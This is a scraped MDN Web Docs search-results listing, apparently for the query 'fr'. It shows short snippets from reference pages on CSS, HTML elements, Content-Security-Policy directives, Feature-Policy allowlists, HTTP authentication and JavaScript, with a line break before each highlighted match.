from table columns into table cells, since css inheritance follows the document tree, and table cells are inside of rows but not inside of columns.
... syntax /* keyword values */ direction: ltr; direction: rtl; /* global values */ direction: inherit; direction: initial; direction: unset; values ltr text and other elements go
from left to right.
...And 2 more matches
font-size-adjust - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated
from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-size-adjustchrome full support 43disabled full support 43disabled disabled
from version 43: this feature is behind the enable experimental web platform features preference.
... to change preferences in chrome, visit chrome://flags.edge full support 79disabled full support 79disabled disabled
from version 79: this feature is behind the enable experimental web platform features preference.firefox full support 40 full support 40 full support 3notes notes before firefox 40, font-size-adjust: 0 was incorrectly interpreted as font-size-adjust: none (bug 1144885).
...And 2 more matches
font-variant-caps - CSS: Cascading Style Sheets
if these are not present, the browser synthesizes them
from the uppercase glyphs.
...font-variant-caps: normal; font-variant-caps: small-caps; font-variant-caps: all-small-caps; font-variant-caps: petite-caps; font-variant-caps: all-petite-caps; font-variant-caps: unicase; font-variant-caps: titling-caps; /* global values */ font-variant-caps: inherit; font-variant-caps: initial; font-variant-caps: unset; the font-variant-caps property is specified using a single keyword value
from the list below.
... candidate recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
image-orientation - CSS: Cascading Style Sheets
its functionality may be moved into properties on the <img> and/or <picture> elements, with the possible exception of
from-image.
... /* keyword values */ image-orientation: none; image-orientation:
from-image; /* use exif data
from the image */ /* global values */ image-orientation: inherit; image-orientation: initial; image-orientation: unset; /* obsolete values.
...
from-image the exif information contained in the image will be used to rotate the image appropriately.
...And 2 more matches
inherit - CSS: Cascading Style Sheets
the inherit css keyword causes the element for which it is specified to take the computed value of the property
from its parent element.
... inheritance is always
from the parent element in the document tree, even when the parent element is not the containing block.
... examples exclude selected elements
from a rule /* make second-level headers green */ h2 { color: green; } /* ...but leave those in the sidebar alone so they use their parent's color */ #sidebar h2 { color: inherit; } in this example the h2 elements inside the sidebar might be different colors.
...And 2 more matches
repeat() - CSS: Cascading Style Sheets
the repeat() css function represents a repeated
fragment of the track list, allowing a large number of columns or rows that exhibit a recurring pattern to be written in a more compact form.
... /* <track-repeat> values */ repeat(4, 1
fr) repeat(4, [col-start] 250px [col-end]) repeat(4, [col-start] 60% [col-end]) repeat(4, [col-start] 1
fr [col-end]) repeat(4, [col-start] min-content [col-end]) repeat(4, [col-start] max-content [col-end]) repeat(4, [col-start] auto [col-end]) repeat(4, [col-start] minmax(100px, 1
fr) [col-end]) repeat(4, [col-start] fit-content(200px) [col-end]) repeat(4, 10px [col-start] 30% [col-middle] auto [col-end]) repeat(4, [col-start] min-content [col-middle] max-content [col-end]) /* <auto-repeat> values */ repeat(auto-fill, 250px) repeat(auto-fit, 250px) repeat(auto-fill, [col-start] 250px [col-end]) repeat(auto-fit, [col-start] 250px [col-end]) repeat(auto-...
...fill, [col-start] minmax(100px, 1
fr) [col-end]) repeat(auto-fill, 10px [col-start] 30% [col-middle] 400px [col-end]) /* <fixed-repeat> values */ repeat(4, 250px) repeat(4, [col-start] 250px [col-end]) repeat(4, [col-start] 60% [col-end]) repeat(4, [col-start] minmax(100px, 1
fr) [col-end]) repeat(4, [col-start] fit-content(200px) [col-end]) repeat(4, 10px [col-start] 30% [col-middle] 400px [col-end]) syntax values <length> a positive integer length.
...And 2 more matches
perspective() - CSS: Cascading Style Sheets
the perspective() css function defines a transformation that sets the distance between the user and the z=0 plane, the perspective
from which the viewer would be if the 2-dimensional interface were 3-dimensional.
...this differs
from the perspective and perspective-origin properties which are attached to the parent of a child transformed in 3-dimensional space.
... perspective(d) values d is a <length> representing the distance
from the user to the z=0 plane.
...And 2 more matches
transform-origin - CSS: Cascading Style Sheets
values x-offset is a <length> or a <percentage> describing how far
from the left edge of the box the origin of the transform is set.
... y-offset is a <length> or a <percentage> describing how far
from the top edge of the box the origin of the transform is set.
... x-offset-keyword is one of the left, right, or center keyword describing how far
from the left edge of the box the origin of the transform is set.
...And 2 more matches
word-break - CSS: Cascading Style Sheets
syntax /* keyword values */ word-break: normal; word-break: break-all; word-break: keep-all; word-break: break-word; /* deprecated */ /* global values */ word-break: inherit; word-break: initial; word-break: unset; the word-break property is specified as a single keyword chosen
from the list of values below.
...<code>word-break: normal</code></p> <p class="normal narrow">this is a long and honorificabilitudinitatibus cali
fragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>2.
... <code>word-break: break-all</code></p> <p class="breakall narrow">this is a long and honorificabilitudinitatibus cali
fragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>3.
...And 2 more matches
WAI ARIA Live Regions/API Support - Developer guides
retrieving author-supplied aria live region semantics
from an event for any mutation event in a page, the author can get the following object attributes
from the event object, if they are defined on some ancestor element (closest ancestor wins): object attribute name possible values default value if not specified meaning aria markup if required container-live "off" | "polite" | "assertive" "off" interruption polic...
... aria-atomic on ancestor element event-
from-input "true" | "false" (described more below) browser could not calculate this was the root cause of this event explicit user input?
...determining if event was
from user input all events will now provide information about whether the event was caused by user input, or was something that the web page caused.
...And 2 more matches
Cross-browser audio basics - Developer guides
if omitted, most browsers will attempt to guess this
from the file extension.
...here's an example of creating an <audio> element, setting the media to play, playing and pausing, and then playing
from 5 seconds into the audio: var myaudio = document.createelement('audio'); if (myaudio.canplaytype('audio/mpeg')) { myaudio.setattribute('src','audiofile.mp3'); } if (myaudio.canplaytype('audio/ogg')) { myaudio.setattribute('src','audiofile.ogg'); } alert('play'); myaudio.play(); alert('stop'); myaudio.pause(); alert('play
from 5 seconds in'); myaudio.currenttime = 5; myaudio.play();...
...this is useful in many ways, for example since play() does not take a parameter we need to set the point to play
from separately if we don't want it to be 0.
...And 2 more matches
Live streaming web audio and video - Developer guides
protocols other than http may also be subject to blocking
from firewalls or proxy servers.
... opus opus is a royalty-
free and open format that manages to optimize quality at various bit-rates for different types of audio.
... note: it's potentially easier to stream audio using non-streaming formats because unlike video there are no key
frames.
...And 2 more matches
HTML5 - Developer guides
this set is sometimes called html5 &
friends and often shortened to just html5.
... improvement in <i
frame> using the sandbox and srcdoc attributes, authors can now be precise about the level of security and the wished rendering of an <i
frame> element.
...this page was created with help
from the w3c as a quick guide for those who have some basic familiarity and experience using html5.
...And 2 more matches
Index - Developer guides
16 audio and video manipulation audio, canvas, examples, guide, html5, media, video, web audio api, webgl, developer recommendation the ability to read the pixel values
from each
frame of a video can be very useful.
... 25 touch events (mozilla experimental) dom the experimental touch events api described on this page was available
from gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to gecko/firefox 17.
... 28 guide to web apis api, guide, landing, web the web includes a wide array of apis that can be used
from javascript to build increasingly more powerful and capable applications, running either on the web, locally, or through technology such as node.js, on a server.
...And 2 more matches
Localizations and character encodings - Developer guides
to avoid introducing this problem in locales where web publishing took off after the adoption of utf-8, locales that don't have a non-windows-1252 legacy encoding arising
from the practices of the 1990s, should leave the fallback encoding at windows-1252 to facilitate reading content cross-locale
from the old locales whose fallback encoding is windows-1252.
...the mapping
from locales onto fallback encodings is now built into gecko itself.
... the fallback encoding should be left to windows-1252 for western european locales, north, central and south american locales, a
frican locales, central asian locales and oceanian locales.
...And 2 more matches
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
the html bidirectional isolate element (<bdi>) tells the browser's bidirectional algorithm to treat the text it contains in isolation
from its surrounding text.
... the <bdi> element is used to wrap a span of text and instructs the bidirectional algorithm to treat this text in isolation
from its surroundings.
...but if you don't know the directionality - for example, because embedded-text is being read
from a database or entered by the user - you should use <bdi> to prevent the directionality of embedded-text
from affecting its surroundings.
...And 2 more matches
<button>: The Button element - HTML: Hypertext Markup Language
disabled this boolean attribute prevents the user
from interacting with the button: it cannot be pressed or focused.
...possible values: post: the data
from the form are included in the body of the http request when sent to the server.
... formtarget html5 if the button is a submit button, this attribute is a author-defined name or standardized, underscore-prefixed keyword indicating where to display the response
from submitting the form.
...And 2 more matches
<input type="range"> - HTML: Hypertext Markup Language
ist, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering
from a bad input.
...the values provided are suggestions, not requirements: users can select
from this predefined list or provide a different value.
...cimal places, you should set the value of step to 0.01: <input type="range" min="5" max="10" step="0.01"> if you want to accept any value regardless of how many decimal places it extends to, you can specify a value of any for the step attribute: <input type="range" min="0" max="3.14" step="any"> this example lets the user select any value between 0 and π without any restriction on the
fractional part of the value selected.
...And 2 more matches
<script>: The Script element - HTML: Hypertext Markup Language
scripts with the defer attribute will prevent the domcontentloaded event
from firing until the script has loaded and finished evaluating.
... integrity this attribute contains inline metadata that a user agent can use to verify that a fetched resource has been delivered
free of unexpected manipulation.
... unsafe-url: the referrer will include the origin and the path (but not the
fragment, password, or username).
...And 2 more matches
<textarea> - HTML: Hypertext Markup Language
the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of
free-form text, for example a comment on a review or feedback form.
...if this attribute is not specified, the control inherits its setting
from the containing element, for example <fieldset>; if there is no containing element when the disabled attribute is set, the control is enabled.
...unlike the disabled attribute, the readonly attribute does not prevent the user
from clicking or selecting in the control.
...And 2 more matches
hidden - HTML: Hypertext Markup Language
the hidden attribute must not be used to hide content just
from one presentation.
... if something is marked hidden, it is hidden
from all presentations, including, for instance, screen readers.
... hidden elements shouldn't be linked
from non-hidden elements, and elements that are descendants of a hidden element are still active, which means that script elements can still execute and form elements can still submit.
...And 2 more matches
lang - HTML: Hypertext Markup Language
for example,
french-in-braille is
fr-brai and ja-kana is japanese written with the katakana alphabet.
...this subtag defines a dialect of the base language
from a particular location, and is either 2 letters in allcaps matching a country code, or 3 numbers matching a non-country area.
... living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'lang' in that specification.
...And 2 more matches
title - HTML: Hypertext Markup Language
some typical uses: labeling <i
frame> elements for assistive technology providing a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements.
...some caution must be taken, as this means the following renders across two lines: html <p>newlines in <code>title</code> should be taken into account, like <abbr title="this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it
from its parent node, which in turn may inherit it
from its parent, and so on.
... living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'title' in that specification.
...And 2 more matches
HTML: Hypertext Markup Language
an html element is set off
from other text in a document by "tags", which consist of the element name surrounded by "<" and ">".
... looking to become a
front-end web developer?
... get started beginner's tutorials our html learning area features multiple modules that teach html
from the ground up — no previous knowledge required.
...And 2 more matches
HTTP authentication - HTTP
http provides a general
framework for access control and authentication.
... this page is an introduction to the http
framework for authentication, and shows how to restrict access to your server using the http "basic" schema.
... the general http authentication
framework rfc 7235 defines the http authentication
framework, which can be used by a server to challenge a client request, and by a client to provide authentication information.
...And 2 more matches
CSP: base-uri - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: connect-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: font-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: img-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: manifest-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: media-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: navigate-to - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: prefetch-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: script-src-attr - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: script-src-elem - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: style-src-attr - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: style-src-elem - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
CSP: worker-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 2 more matches
Content-Security-Policy-Report-Only - HTTP
content-security-policy: default-src https:; report-uri /csp-violation-report-endpoint/ violation report syntax the report json object contains the following data: blocked-uri the uri of the resource that was blocked
from loading by the content security policy.
... if the blocked uri is
from a different origin than the document-uri, then the blocked uri is truncated to contain just the scheme, host, and port.
...it uses the following policy, disallowing everything but stylesheets
from cdn.example.com.
...And 2 more matches
Feature-Policy: accelerometer - HTTP
syntax feature-policy: accelerometer <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: ambient-light-sensor - HTTP
syntax feature-policy: ambient-light-sensor <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: autoplay - HTTP
syntax feature-policy: autoplay <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: battery - HTTP
syntax feature-policy: battery <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: camera - HTTP
syntax feature-policy: camera <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: display-capture - HTTP
syntax feature-policy: display-capture <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: document-domain - HTTP
syntax feature-policy: document-domain <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: encrypted-media - HTTP
syntax feature-policy: encrypted-media <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: gyroscope - HTTP
syntax feature-policy: gyroscope <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: layout-animations - HTTP
syntax feature-policy: layout-animations <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: legacy-image-formats - HTTP
syntax feature-policy: legacy-image-formats <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: magnetometer - HTTP
syntax feature-policy: magnetometer <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: microphone - HTTP
syntax feature-policy: microphone <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: midi - HTTP
syntax feature-policy: midi <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: oversized-images - HTTP
syntax feature-policy: oversized-images <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: payment - HTTP
syntax feature-policy: payment <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: picture-in-picture - HTTP
syntax feature-policy: picture-in-picture <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: publickey-credentials-get - HTTP
syntax feature-policy: publickey-credentials-get <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: screen-wake-lock - HTTP
syntax feature-policy: screen-wake-lock <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: unoptimized-images - HTTP
syntax feature-policy: unoptimized-images <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: unsized-media - HTTP
syntax feature-policy: unsized-media <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: usb - HTTP
syntax feature-policy: usb <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: vibrate - HTTP
syntax feature-policy: vibrate <allowlist>; <vibrate> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: wake-lock - HTTP
syntax feature-policy: wake-lock <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
web-share - HTTP
syntax feature-policy: web-share <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Feature-Policy: xr-spatial-tracking - HTTP
syntax feature-policy: xr-spatial-tracking <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 2 more matches
Large-Allocation - HTTP
a large-allocation header was ignored due to the presence of windows which have a reference to this browsing context through the
frame hierarchy or window.opener.
...it can occur in these situations: the document with the large-allocation header was loaded in an <i
frame>.
... firefox cannot move an i
frame into a new process currently, so the document must load in the current process.
...And 2 more matches
JavaScript data types and data structures - JavaScript
programming languages all have built-in data structures, but these often differ
from one language to another.
...this is merely a special shorthand for functions, though every function constructor is derived
from object constructor.
...if we wish to check any structural type derived
from object it is pointless to use typeof for that, as we will always receive "object".
...And 2 more matches
Keyed collections - JavaScript
the following example is
from nick fitzgerald's blog post "hiding implementation details with ecmascript 6 weakmaps".
...everything exposed on the instance and prototype is public; everything else is inaccessible
from the outside world because privates is not exported
from the module.
... let myset = new set(); myset.add(1); myset.add('some text'); myset.add('foo'); myset.has(1); // true myset.delete('foo'); myset.size; // 2 for (let item of myset) console.log(item); // 1 // "some text" converting between array and set you can create an array
from a set using array.
from or the spread operator.
...And 2 more matches
Meta programming - JavaScript
in strict mode, a false value returned
from the defineproperty handler will throw a typeerror exception.
... handler.set() property assignment proxy[foo] = bar proxy.foo = bar inherited property assignment object.create(proxy)[foo] = bar {jsxref("reflect.set()")}} cannot change the value of a property to be different
from the value of the corresponding target property if the corresponding target property is a non-writable, non-configurable data property.
... in strict mode, a false return value
from the set handler will throw a typeerror exception.
...And 2 more matches
Numbers and dates - JavaScript
the number prototype provides methods for retrieving information
from number objects in various formats.
... round(),
fround(), trunc(), rounding and truncation functions.
... "get" methods, for getting date and time values
from date objects.
...And 2 more matches
Text formatting - JavaScript
see also string.
fromcodepoint() or string.prototype.codepointat().
...(examples should be added to this page after mdn bug 857438 is fixed.) see also string.
fromcodepoint() or string.prototype.codepointat().
...
fromcharcode,
fromcodepoint constructs a string
from the specified sequence of unicode values.
...And 2 more matches
Classes - JavaScript
public field declarations with the javascript field declaration syntax, the above example can be written as: class rectangle { height = 0; width; constructor(height, width) { this.height = height; this.width = width; } } by declaring fields up-
front, class definitions become more self-documenting, and the fields are always present.
... class rectangle { #height = 0; #width; constructor(height, width) { this.#height = height; this.#width = width; } } it's an error to reference private fields
from outside of the class; they can only be read or written within the class body.
... private fields can only be declared up-
front in a field declaration.
...And 2 more matches
TypeError: 'x' is not iterable - JavaScript
the javascript exception "is not iterable" occurs when the value which is given as the right hand-side of for…of or as argument of a function such as promise.all or typedarray.
from, is not an iterable object.
... the value which is given as the right hand-side of for…of or as argument of a function such as promise.all or typedarray.
from, is not an iterable object.
... var obj = { '
france': 'paris', 'england': 'london' }; for (let p of obj) { // typeerror: obj is not iterable // … } instead you have to use object.keys or object.entries, to iterate over the properties or entries of an object.
...And 2 more matches
Array.prototype.map() - JavaScript
